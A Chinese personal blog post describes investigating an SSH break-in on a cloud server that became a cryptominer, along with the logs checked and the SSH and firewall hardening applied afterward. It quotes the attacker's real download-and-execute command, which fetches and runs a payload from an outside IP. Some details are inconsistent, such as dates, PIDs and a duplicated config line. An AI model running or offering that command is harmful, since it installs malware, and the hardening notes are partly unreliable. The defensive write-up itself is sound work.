服务器被入侵了，溯源全过程（实战）

事件经过

今天一大早，我还没完全从睡梦中清醒时，接到了某云平台发来的一条紧急短信。这条短信通知我，我的云服务器遭到了入侵并且攻击者已经成功登录。这个消息让我立刻警觉起来，我意识到网络安全在数字时代的重要性。

在面对这种情况时，首先要确认通知的真实性。我通过云平台官方渠道验证了短信的来源，确认那是一条来自合法渠道的警报信息。

紧接着，我立刻进入云平台的控制台，通过双重身份验证的方式登录到我的账户。我细致地检查了账户的登录活动日志，并发现了一些可疑痕迹。有一些未经授权的登录记录，让我深感威胁的现实性。

为了尽快应对这一紧急情况，我立即采取了一系列行动来保护我的云服务器和数据。

首先，我立刻更改了云平台账户的密码。我选择了一个强密码，并确保与其他账户的密码不同，以增加密码的复杂度。我也暂时关闭了所有端口，以防止攻击者在我的服务器上留下后门，继续渗透我的系统。

此外，由于我意识到服务器的数据可能已经遭到篡改或损坏，我考虑了进行服务器的还原操作。我恢复了之前的可靠备份，以确保数据的完整性和安全性。

最后，我加强了服务器的安全措施。我重新评估了云服务器的安全性，包括启用双重身份验证、定期更新操作系统和应用程序补丁、限制不必要的远程访问等。

溯源开始

第一步查找入侵证据

根据现有信息，入侵的账号是通过git的账号使用ssh协议入侵，源IP为美国，更加详细的信息我们需要进入服务内查看登陆日志，来确认是否还有其他类型的入侵未被发现。

通过以下命令来查看所有用户的登录信息，如果从未登录过就为显示为 ** Never logged in **

lastlog

根据登录活动日志我发现：

root 用户最近一次登录是在 2023 年 6 月 22 日 13:24，来自 IP 地址 218.76.254.64。

mysql 用户最近一次登录是在2023年6月8日 02:07:39 登录过

git 用户最近一次登录，是我已经追踪到以后，登录查看执行过的指令

根据以上信息我们发现不了什么问题

我们继续查看用户登录日志：

/var/log/secure

因为腾讯云，给的告警为git用户暴力破解登录，所以我们主要差git用户的登录记录

使用如下命令

cat /var/log/secure | grep git

发现有人在6月7日开始一直在尝试使用"git"、“gitlab-psql”、"gitlab"这几个账号一直在尝试用SSH连接我的服务器。但是都未成功，用户名也是无效的，一直到下图

在这条记录中，我们可以看到，有人2023年6月19日，新建了一个“git”用户组和一个“git”的用户，并在 2023年6月19日下午更改了他们的密码。随后，在晚上11点04分开始，来自 IP 地址 104.248.232.174 的用户尝试使用 “git” 用户进行 SSH 登录，但都失败了，并多次使用不同的端口进行尝试。

这些日志记录表明有人尝试进行字典/暴力攻击，试图通过尝试不同密码进行未经授权的访问。

该IP查询为美国的一个IP，和腾讯云告警的地址一摸一样，

在这一条记录中，也就是事发时间 2023年7点15分左右，它使用“git”账号通过ssh成功登录了服务器，并在服务器中运行了一系列指令，

COMMAND=/bin/sh -c cd /var/tmp ; curl -O 185.252.178.82:6972/hoze || cd1 -O 185.252.178.82:6972/hoze || wget 185.252.178.82:6972/hoze ; chmod +x hoze ; ./hoze

下载了一个可疑文件，并且赋予了执行权限，执行了该文件。

该ip为荷兰的IP，腾讯云上并为告警。

通过以上日志分析，初步的可以分析出，有人在6月7日的时候一直在尝试连接我的服务使用的账号为"git"、“gitlab-psql”、"gitlab"一直到6月19日，不知道通过什么办法在我服务器内新建了一个”git”账号，并成功连接了我的服务器，下载一个可疑程序，并执行了该程序。

登录上“git”用户查看执行指令情况

使用下列命令：

history

查看历史指令

登录上git账号后第一时间更改了账号密码，查询历史执行指令发现为空，可能已经清除了日志。

分析其他日志查找可疑程序

1.分析系统日志

分析： /var/log/cron 日志：记录了计划任务（cron）相关的活动，可以检查是否有恶意的计划任务被添加到系统中。

在次日志文件中未发现可疑计划任务。

分析 /var/log/messages 日志：记录了重要的系统消息、警告和错误

发现有大量未知IP尝试连接pure-ftpd 服务但是都未连接成功，但是这里也提醒了我，一些不需要的功能统统都移除掉，不要留安全隐患。

2.分析系统进程

是同 top命令查看系统现在正在使用的进程状态，查看是否有可疑程序正在运行

top

PID: 2992，进程的唯一标识符。

USER: root，启动或拥有该进程的用户为 root。

PR: 20，进程的优先级为 20。

NI: 0，进程的优先级别增量为 0。

VIRT: 1344400，进程使用的虚拟内存大小为 1344400 KB。

RES: 16124，进程使用的物理内存大小为 16124 KB。

SHR: 3184，进程共享的内存大小为 3184 KB。

S: S，表示进程的状态为睡眠状态（Sleeping）。

%CPU: 0.3，进程所占用的 CPU 使用率为 0.3%。

%MEM: 0.4，进程所占用的内存使用率为 0.4%。

TIME+: 0:01.55，进程已运行的 CPU 时间为 0小时1分55秒。

COMMAND: sh，进程的命令名称为 “sh”。

在此处也没有发现可疑程序。

新进展

2023年2月22日晚上19:20分左右，突然发现服务CPU使用异常，直接飙升至100%

此时，瞬感不妙，黑客应该又从新黑入我的服务器。应该是后门还没有彻底清除，于是我又登陆上我的服务器进行了应急处理

首先使用top 查看现在服务器的进程，

这一次查询，终于发现恶意程序，在服务器进程中它的进程名位xrx，PID为9159的恶意进程。按照现在的情况大概分析为恶意挖矿程序。

我通过find / -name xrx

find / -name xrx

总算在linux 目录中找了它的踪迹

文件路径在 /var/tmp/.xrx/xrx 隐藏目录下，文件内容如下

查清文件后我使用命令：

kill 9519

强制杀死了该进程

当我把该挖矿程序强制杀掉以后，CPU利用率立马就下降了

出于好奇我运行了恶意程序，准备进一步的去分析

根据提供的日志，这是关于 XMRig 挖矿软件的相关信息和一些操作记录。以下是对每个部分的解读：

ABOUT：显示了 XMRig 的版本信息（6.10.0）和编译器信息（gcc 9.3.0）。它还列出了 XMRig 使用的一些库（libuv 1.41.0、OpenSSL 1.1.1j 和 hwloc 2.4.1）。

HUGE PAGES 和 1GB PAGES：指示系统是否支持使用大页面和 1GB 页面。在这个日志中，系统支持使用大页面，但禁用了1GB 页面。

CPU：描述了 CPU 的型号（Intel® Xeon® Platinum 8255C CPU @ 2.50GHz），以及一些关于 CPU 的信息，如 L2 缓存大小（8.0 MB）、L3 缓存大小（35.8 MB）、核心数（2C）、线程数（2T）和 NUMA（Non-Uniform Memory Access）。

MEMORY：显示了内存的使用情况，包括可用内存（1.5 GB）和总内存（3.6 GB），以及使用率（42%）。

DONATE：表示在挖矿收益中，1% 的份额将被捐赠。

ASSEMBLY：该设置为 “auto:intel”，表明 XMRig 使用 Intel 架构的汇编指令集进行加速。

POOL #1 到 POOL #5：列出了多个矿池的连接信息，包括 IP 地址、端口号、算法和加密货币类型。

COMMANDS：列出了可以在 XMRig 中使用的命令，如 hashrate（哈希率）、pause（暂停）、resume（恢复）、results（结果）和connection（连接）等。

接下来是一些具体的操作记录：

net use pool：表示 XMRig 正在连接指定的矿池，其中包括 IP 地址、TLS 协议版本以及矿池的指纹。

net new job：表示 XMRig 收到了来自矿池的新的挖矿任务，并显示了任务的相关信息，如难度、算法和区块高度。

cpu use argon2 implementation：指定了 XMRig 使用的 Argon2 加密算法的实现方式（AVX-512F）。

msr cannot read MSR 和 msr FAILED TO APPLY MSR MOD：表示 XMRig 在读取和应用 MSR（Model Specific Register）时遇到了问题，这可能会影响性能。

randomx dataset ready：表示 XMRig 完成了 RandomX 数据集的初始化，准备开始挖矿。

分析完后果然，这就是一个妥妥的挖矿软件。我的服务器成了大冤种，正在苦命的给黑客卖命挖矿，造孽啊！

我又通过top查看现在的系统进程情况

运行完了以后发现，CPU使用率飙升至接近200%了，内存使用率也飙升至60%左右，这TMD运行了这软件，我的服务器也就不要干其他的了，还好发现及时。

于是我先继续往下查：

使用命令

netstat -anp |grep 16984

查询它的传输层状态：

在这里我的IP是腾讯云的内网地址？

这是我就有点蒙圈了，明明是在外网攻击我的，为什么在这里会显示出我的内网地址呢？？

希望有哪位大佬能帮忙解答一下

对方的IP应该就其中一个矿池的IP了使用的端口是2008

以现在我的能力能想到的地方就只能查到这里了，这也是我第一次遇见处理Linux服务器入侵事件，同时也存在非常多的问题需

处理办法

ssh配置存在缺陷，没有设置密码失败限制

方法出如下：

vim /etc/ssh/sshd_config

使用以上命令，进入ssh配置文件将MaxAuthTries 设置为一个合理数值例如： 3，将LoginGraceTime 设置较长时间，这样就可以限制ssh登陆错误的情况下，暴力破解密码。

MaxAuthTries 3 #这个选项控制了在一个SSH会话中，用户最大允许尝试进行身份验证的次数。建议将其设置为一个适当的数值，例如3或5。
LoginGraceTime 600 #这个选项控制了登录期间的宽限时间（以秒为单位）。在此时间内，如果用户无法进行身份验证，连接将被断开。建议将其设置为一个合理的时间范围，

配置完成后，重启sshd服务才能生效。

systemctl restart sshd.service

最好禁用密码身份认证，改用密匙身份认证，这样就可以最大程序阻断黑盒通过ssh协议入侵系统。

方法如下：

vim /etc/ssh/sshd_config

使用以上命令，进入ssh配置文件将PasswordAuthentication设置为no，以及ChallengResponseAuthentication 设置为no，将UsePAM设置为no

PasswordAuthentication no #将其设置为 `no`，以禁用密码身份验证。
PasswordAuthentication no #将其设置为 `no`，以禁用密码身份验证。
UsePAM no #将其设置为 `no`，以禁用使用Pluggable Authentication Modules（PAM）进行身份验证。

3.使用端口转发和限制：使用非标准SSH端口，而不是默认的22端口。这将减少大量的自动化尝试连接。此外，你还可以通过在防火墙设置中仅允许特定的IP地址或IP地址范围对该非标准端口的访问来进一步限制。

更改SSH服务器默认端口：默认情况下，SSH服务器的端口是22。将其更改为一个非标准端口可以减少自动化扫描和攻击的数量。你可以编辑SSH服务器配置文件 /etc/ssh/sshd_config，将端口号更改为你选择的非标准端口，并重新启动SSH服务。
使用防火墙设置端口转发：使用防火墙（如iptables）设置端口转发规则，只允许特定的IP地址或IP地址范围通过非标准SSH端口访问服务器。

例如，限制IP地址为192.168.0.100的主机可以访问SSH服务器的非标准端口（例如2222）：
sudo iptables -A INPUT -p tcp -s 192.168.0.100 --dport 2222 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 2222 -j DROP
这将允许来自192.168.0.100的主机通过非标准SSH端口2222访问服务器，同时拒绝其他IP地址的访问。

请注意，这只是一个简单的示例，真正的设置可能需要更详细的规则，以适应你的环境和安全要求。
使用端口转发和SSH隧道：SSH还提供了端口转发和SSH隧道的功能，允许你在客户端和服务器之间建立安全的连接，并通过加密通道进行数据传输。你可以使用本地端口转发和远程端口转发来增加网络传输的安全性。
本地端口转发：将本地计算机上的端口转发到远程服务器上，可以通过SSH服务进行访问。
ssh -L <本地端口>:<目标主机>:<目标端口> <用户名>@<SSH服务器地址>
远程端口转发：将远程服务器上的端口转发到本地计算机上，可以通过SSH客户端进行访问。
ssh -R <本地端口>:<目标主机>:<目标端口> <用户名>@<SSH服务器地址>

使用防火墙：通过设置防火墙规则限制来自恶意IP地址的SSH连接。你配置防火墙规则，例如限制特定IP地址或IP地址范围对SSH端口的访问。

总结

以现在我的能力能想到的地方就只能查到这里了，这也是我第一次遇见处理Linux服务器入侵事件，同时也存在非常多的问题需要我以后来解决，例如：

黑客为什么之前一直以 ssh方式用“git”等账号连接，在19号之前都是显示账号不可用，为什么19号那天突然就创建了一个git账号并成功入侵？
应急处理的方式太过于草率，简单除暴的关闭防火墙端口，如果是在生产环境中，要怎么去完美处理这类事件？
对Linux的日志文件还不够熟悉，在翻阅日志时，只知道大概的方面，并不知道该何处入手分析？
对linux后门不够了解。linux命令掌握的不够全面。